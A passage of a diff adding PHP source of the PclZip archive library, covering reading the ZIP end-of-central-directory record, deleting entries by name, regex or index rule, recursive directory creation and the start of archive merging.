+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Found central dir at the default position.");
+        $v_found = 1;
+      }
+
+      $v_pos = ftell($this->zip_fd);
+    }
+
+    // ----- Go back to the maximum possible size of the Central Dir End Record
+    if (!$v_found) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Start extended search of end central dir');
+      $v_maximum_size = 65557; // 0xFFFF + 22;
+      if ($v_maximum_size > $v_size)
+        $v_maximum_size = $v_size;
+      @fseek($this->zip_fd, $v_size-$v_maximum_size);
+      if (@ftell($this->zip_fd) != ($v_size-$v_maximum_size))
+      {
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, 'Unable to seek back to the middle of the archive \''.$this->zipname.'\'');
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Position after max central position : \''.ftell($this->zip_fd).'\'');
+
+      // ----- Read byte per byte in order to find the signature
+      $v_pos = ftell($this->zip_fd);
+      $v_bytes = 0x00000000;
+      while ($v_pos < $v_size)
+      {
+        // ----- Read a byte
+        $v_byte = @fread($this->zip_fd, 1);
+
+        // -----  Add the byte
+        // $v_bytes = ($v_bytes << 8) | Ord($v_byte);
+        // Note we mask the old value down such that once shifted we can never end up with more than a 32bit number 
+        // Otherwise on systems where we have 64bit integers the check below for the magic number will fail. 
+        $v_bytes = ( ($v_bytes & 0xFFFFFF) << 8) | Ord($v_byte); 
+
+        // ----- Compare the bytes
+        if ($v_bytes == 0x504b0506)
+        {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, 'Found End Central Dir signature at position : \''.ftell($this->zip_fd).'\'');
+          $v_pos++;
+          break;
+        }
+
+        $v_pos++;
+      }
+
+      // ----- Look if not found end of central dir
+      if ($v_pos == $v_size)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Unable to find End of Central Dir Record signature");
+
+        // ----- Error log
+        PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Unable to find End of Central Dir Record signature");
+
+        // ----- Return
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+        return PclZip::errorCode();
+      }
+    }
+
+    // ----- Read the first 18 bytes of the header
+    $v_binary_data = fread($this->zip_fd, 18);
+
+    // ----- Look for invalid block size
+    if (strlen($v_binary_data) != 18)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT, "Invalid End of Central Dir Record size : ".strlen($v_binary_data));
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Extract the values
+    ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Central Dir Record : '".$v_binary_data."'");
+    ////--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Central Dir Record (Hex) : '".bin2hex($v_binary_data)."'");
+    $v_data = unpack('vdisk/vdisk_start/vdisk_entries/ventries/Vsize/Voffset/vcomment_size', $v_binary_data);
+
+    // ----- Check the global size
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Comment length : ".$v_data['comment_size']);
+    if (($v_pos + $v_data['comment_size'] + 18) != $v_size) {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "The central dir is not at the end of the archive. Some trailing bytes exists after the archive.");
+
+	  // ----- Removed in release 2.2 see readme file
+	  // The check of the file size is a little too strict.
+	  // Some bugs where found when a zip is encrypted/decrypted with 'crypt'.
+	  // While decrypted, zip has training 0 bytes
+	  if (0) {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_BAD_FORMAT,
+	                       'The central dir is not at the end of the archive.'
+						   .' Some trailing bytes exists after the archive.');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+	  }
+    }
+
+    // ----- Get comment
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Comment size : \''.$v_data['comment_size'].'\'');
+    if ($v_data['comment_size'] != 0) {
+      $p_central_dir['comment'] = fread($this->zip_fd, $v_data['comment_size']);
+    }
+    else
+      $p_central_dir['comment'] = '';
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Comment : \''.$p_central_dir['comment'].'\'');
+
+    $p_central_dir['entries'] = $v_data['entries'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Nb of entries : \''.$p_central_dir['entries'].'\'');
+    $p_central_dir['disk_entries'] = $v_data['disk_entries'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Nb of entries for this disk : \''.$p_central_dir['disk_entries'].'\'');
+    $p_central_dir['offset'] = $v_data['offset'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Offset of Central Dir : \''.$p_central_dir['offset'].'\'');
+    $p_central_dir['size'] = $v_data['size'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Size of Central Dir : \''.$p_central_dir['size'].'\'');
+    $p_central_dir['disk'] = $v_data['disk'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Disk number : \''.$p_central_dir['disk'].'\'');
+    $p_central_dir['disk_start'] = $v_data['disk_start'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, 'Start disk number : \''.$p_central_dir['disk_start'].'\'');
+
+    // TBC
+    //for(reset($p_central_dir); $key = key($p_central_dir); next($p_central_dir)) {
+    //  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "central_dir[$key] = ".$p_central_dir[$key]);
+    //}
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDeleteByRule()
+  // Description :
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privDeleteByRule(&$p_result_list, &$p_options)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privDeleteByRule", "");
+    $v_result=1;
+    $v_list_detail = array();
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in file : ".ftell($this->zip_fd)."'");
+
+    // ----- Scan all the files
+    // ----- Start at beginning of Central Dir
+    $v_pos_entry = $v_central_dir['offset'];
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position before rewind : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after rewind : ".ftell($this->zip_fd)."'");
+    if (@fseek($this->zip_fd, $v_pos_entry))
+    {
+      // ----- Close the zip file
+      $this->privCloseFd();
+
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+    // ----- Read each entry
+    $v_header_list = array();
+    $j_start = 0;
+    for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++)
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Read next file header entry (index '$i')");
+
+      // ----- Read the file header
+      $v_header_list[$v_nb_extracted] = array();
+      if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1)
+      {
+        // ----- Close the zip file
+        $this->privCloseFd();
+
+        //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+        return $v_result;
+      }
+
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename (index '$i') : '".$v_header_list[$v_nb_extracted]['stored_filename']."'");
+
+      // ----- Store the index
+      $v_header_list[$v_nb_extracted]['index'] = $i;
+
+      // ----- Look for the specific extract rules
+      $v_found = false;
+
+      // ----- Look for extract by name rule
+      if (   (isset($p_options[PCLZIP_OPT_BY_NAME]))
+          && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByName'");
+
+          // ----- Look if the filename is in the list
+          for ($j=0; ($j<sizeof($p_options[PCLZIP_OPT_BY_NAME])) && (!$v_found); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Compare with file '".$p_options[PCLZIP_OPT_BY_NAME][$j]."'");
+
+              // ----- Look for a directory
+              if (substr($p_options[PCLZIP_OPT_BY_NAME][$j], -1) == "/") {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The searched item is a directory");
+
+                  // ----- Look if the directory is in the filename path
+                  if (   (strlen($v_header_list[$v_nb_extracted]['stored_filename']) > strlen($p_options[PCLZIP_OPT_BY_NAME][$j]))
+                      && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The directory is in the file path");
+                      $v_found = true;
+                  }
+                  elseif (   (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) /* Indicates a folder */
+                          && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) {
+                      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The entry is the searched directory");
+                      $v_found = true;
+                  }
+              }
+              // ----- Look for a filename
+              elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "The file is the right one.");
+                  $v_found = true;
+              }
+          }
+      }
+
+      // ----- Look for extract by ereg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_EREG]))
+               && ($p_options[PCLZIP_OPT_BY_EREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract by ereg '".$p_options[PCLZIP_OPT_BY_EREG]."'");
+
+          if (ereg($p_options[PCLZIP_OPT_BY_EREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_found = true;
+          }
+      }
+
+      // ----- Look for extract by preg rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_PREG]))
+               && ($p_options[PCLZIP_OPT_BY_PREG] != "")) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByEreg'");
+
+          if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Filename match the regular expression");
+              $v_found = true;
+          }
+      }
+
+      // ----- Look for extract by index rule
+      else if (   (isset($p_options[PCLZIP_OPT_BY_INDEX]))
+               && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) {
+          //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Extract with rule 'ByIndex'");
+
+          // ----- Look if the index is in the list
+          for ($j=$j_start; ($j<sizeof($p_options[PCLZIP_OPT_BY_INDEX])) && (!$v_found); $j++) {
+              //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Look if index '$i' is in [".$p_options[PCLZIP_OPT_BY_INDEX][$j]['start'].",".$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']."]");
+
+              if (($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Found as part of an index range");
+                  $v_found = true;
+              }
+              if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Do not look this index range for next loop");
+                  $j_start = $j+1;
+              }
+
+              if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) {
+                  //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Index range is greater than index, stop loop");
+                  break;
+              }
+          }
+      }
+      else {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "No argument mean remove all file");
+      	$v_found = true;
+      }
+
+      // ----- Look for deletion
+      if ($v_found)
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$v_header_list[$v_nb_extracted]['stored_filename']."', index '$i' need to be deleted");
+        unset($v_header_list[$v_nb_extracted]);
+      }
+      else
+      {
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 2, "File '".$v_header_list[$v_nb_extracted]['stored_filename']."', index '$i' will not be deleted");
+        $v_nb_extracted++;
+      }
+    }
+
+    // ----- Look if something need to be deleted
+    if ($v_nb_extracted > 0) {
+
+        // ----- Creates a temporay file
+        $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+        // ----- Creates a temporary zip archive
+        $v_temp_zip = new PclZip($v_zip_temp_name);
+
+        // ----- Open the temporary zip file in write mode
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary write mode");
+        if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) {
+            $this->privCloseFd();
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+        }
+
+        // ----- Look which file need to be kept
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Keep entry index '$i' : '".$v_header_list[$i]['filename']."'");
+
+            // ----- Calculate the position of the header
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Offset='". $v_header_list[$i]['offset']."'");
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position before rewind : ".ftell($this->zip_fd)."'");
+            @rewind($this->zip_fd);
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after rewind : ".ftell($this->zip_fd)."'");
+            if (@fseek($this->zip_fd,  $v_header_list[$i]['offset'])) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Error log
+                PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size');
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+                return PclZip::errorCode();
+            }
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position after fseek : ".ftell($this->zip_fd)."'");
+
+            // ----- Read the file header
+            $v_local_header = array();
+            if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+            
+            // ----- Check that local file header is same as central file header
+            if ($this->privCheckFileHeaders($v_local_header,
+			                                $v_header_list[$i]) != 1) {
+                // TBC
+            }
+            unset($v_local_header);
+
+            // ----- Write the file header
+            if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Offset for this file is '".$v_header_list[$i]['offset']."'");
+
+            // ----- Read/write the data block
+            if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) {
+                // ----- Close the zip file
+                $this->privCloseFd();
+                $v_temp_zip->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+        }
+
+        // ----- Store the offset of the central dir
+        $v_offset = @ftell($v_temp_zip->zip_fd);
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "New offset of central dir : $v_offset");
+
+        // ----- Re-Create the Central Dir files header
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Creates the new central directory");
+        for ($i=0; $i<sizeof($v_header_list); $i++) {
+            // ----- Create the file header
+            //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Offset of file : ".$v_header_list[$i]['offset']);
+            if (($v_result = $v_temp_zip->privWriteCentralFileHeader($v_header_list[$i])) != 1) {
+                $v_temp_zip->privCloseFd();
+                $this->privCloseFd();
+                @unlink($v_zip_temp_name);
+
+                // ----- Return
+                //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+                return $v_result;
+            }
+
+            // ----- Transform the header to a 'usable' info
+            $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]);
+        }
+
+        //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Creates the central directory footer");
+
+        // ----- Zip file comment
+        $v_comment = '';
+        if (isset($p_options[PCLZIP_OPT_COMMENT])) {
+          $v_comment = $p_options[PCLZIP_OPT_COMMENT];
+        }
+
+        // ----- Calculate the size of the central header
+        $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset;
+
+        // ----- Create the central dir footer
+        if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) {
+            // ----- Reset the file list
+            unset($v_header_list);
+            $v_temp_zip->privCloseFd();
+            $this->privCloseFd();
+            @unlink($v_zip_temp_name);
+
+            // ----- Return
+            //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+            return $v_result;
+        }
+
+        // ----- Close
+        $v_temp_zip->privCloseFd();
+        $this->privCloseFd();
+
+        // ----- Delete the zip file
+        // TBC : I should test the result ...
+        @unlink($this->zipname);
+
+        // ----- Rename the temporary file
+        // TBC : I should test the result ...
+        //@rename($v_zip_temp_name, $this->zipname);
+        PclZipUtilRename($v_zip_temp_name, $this->zipname);
+    
+        // ----- Destroy the temporary archive
+        unset($v_temp_zip);
+    }
+    
+    // ----- Remove every files : reset the file
+    else if ($v_central_dir['entries'] != 0) {
+        $this->privCloseFd();
+
+        if (($v_result = $this->privOpenFd('wb')) != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+
+        $this->privCloseFd();
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privDirCheck()
+  // Description :
+  //   Check if a directory exists, if not it creates it and all the parents directory
+  //   which may be useful.
+  // Parameters :
+  //   $p_dir : Directory path to check.
+  // Return Values :
+  //    1 : OK
+  //   -1 : Unable to create directory
+  // --------------------------------------------------------------------------------
+  function privDirCheck($p_dir, $p_is_dir=false)
+  {
+    $v_result = 1;
+
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privDirCheck", "entry='$p_dir', is_dir='".($p_is_dir?"true":"false")."'");
+
+    // ----- Remove the final '/'
+    if (($p_is_dir) && (substr($p_dir, -1)=='/'))
+    {
+      $p_dir = substr($p_dir, 0, strlen($p_dir)-1);
+    }
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Looking for entry '$p_dir'");
+
+    // ----- Check the directory availability
+    if ((is_dir($p_dir)) || ($p_dir == ""))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, "'$p_dir' is a directory");
+      return 1;
+    }
+
+    // ----- Extract parent directory
+    $p_parent_dir = dirname($p_dir);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Parent directory is '$p_parent_dir'");
+
+    // ----- Just a check
+    if ($p_parent_dir != $p_dir)
+    {
+      // ----- Look for parent directory
+      if ($p_parent_dir != "")
+      {
+        if (($v_result = $this->privDirCheck($p_parent_dir)) != 1)
+        {
+          //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+          return $v_result;
+        }
+      }
+    }
+
+    // ----- Create the directory
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Create directory '$p_dir'");
+    if (!@mkdir($p_dir, 0777))
+    {
+      // ----- Error log
+      PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'");
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Return
+    //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result, "Directory '$p_dir' created");
+    return $v_result;
+  }
+  // --------------------------------------------------------------------------------
+
+  // --------------------------------------------------------------------------------
+  // Function : privMerge()
+  // Description :
+  //   If $p_archive_to_add does not exist, the function exit with a success result.
+  // Parameters :
+  // Return Values :
+  // --------------------------------------------------------------------------------
+  function privMerge(&$p_archive_to_add)
+  {
+    //--(MAGIC-PclTrace)--//PclTraceFctStart(__FILE__, __LINE__, "PclZip::privMerge", "archive='".$p_archive_to_add->zipname."'");
+    $v_result=1;
+
+    // ----- Look if the archive_to_add exists
+    if (!is_file($p_archive_to_add->zipname))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive to add does not exist. End of merge.");
+
+      // ----- Nothing to merge, so merge is a success
+      $v_result = 1;
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Look if the archive exists
+    if (!is_file($this->zipname))
+    {
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Archive does not exist, duplicate the archive_to_add.");
+
+      // ----- Do a duplicate
+      $v_result = $this->privDuplicate($p_archive_to_add->zipname);
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Open the zip file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_result=$this->privOpenFd('rb')) != 1)
+    {
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir = array();
+    if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1)
+    {
+      $this->privCloseFd();
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in zip : ".ftell($this->zip_fd)."'");
+    @rewind($this->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in zip : ".ftell($this->zip_fd)."'");
+
+    // ----- Open the archive_to_add file
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open archive_to_add in binary read mode");
+    if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1)
+    {
+      $this->privCloseFd();
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Read the central directory informations
+    $v_central_dir_to_add = array();
+    if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, $v_result);
+      return $v_result;
+    }
+
+    // ----- Go to beginning of File
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in archive_to_add : ".ftell($p_archive_to_add->zip_fd)."'");
+    @rewind($p_archive_to_add->zip_fd);
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 5, "Position in archive_to_add : ".ftell($p_archive_to_add->zip_fd)."'");
+
+    // ----- Creates a temporay file
+    $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp';
+
+    // ----- Open the temporary file in write mode
+    //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 3, "Open file in binary read mode");
+    if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0)
+    {
+      $this->privCloseFd();
+      $p_archive_to_add->privCloseFd();
+
+      PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode');
+
+      // ----- Return
+      //--(MAGIC-PclTrace)--//PclTraceFctEnd(__FILE__, __LINE__, PclZip::errorCode(), PclZip::errorInfo());
+      return PclZip::errorCode();
+    }
+
+    // ----- Copy the files from the archive to the temporary file
+    // TBC : Here I should better append the file and go back to erase the central dir
+    $v_size = $v_central_dir['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = fread($this->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
+    }
+
+    // ----- Copy the files from the archive_to_add into the temporary file
+    $v_size = $v_central_dir_to_add['offset'];
+    while ($v_size != 0)
+    {
+      $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE);
+      //--(MAGIC-PclTrace)--//PclTraceFctMessage(__FILE__, __LINE__, 4, "Read $v_read_size bytes");
+      $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size);
+      @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size);
+      $v_size -= $v_read_size;
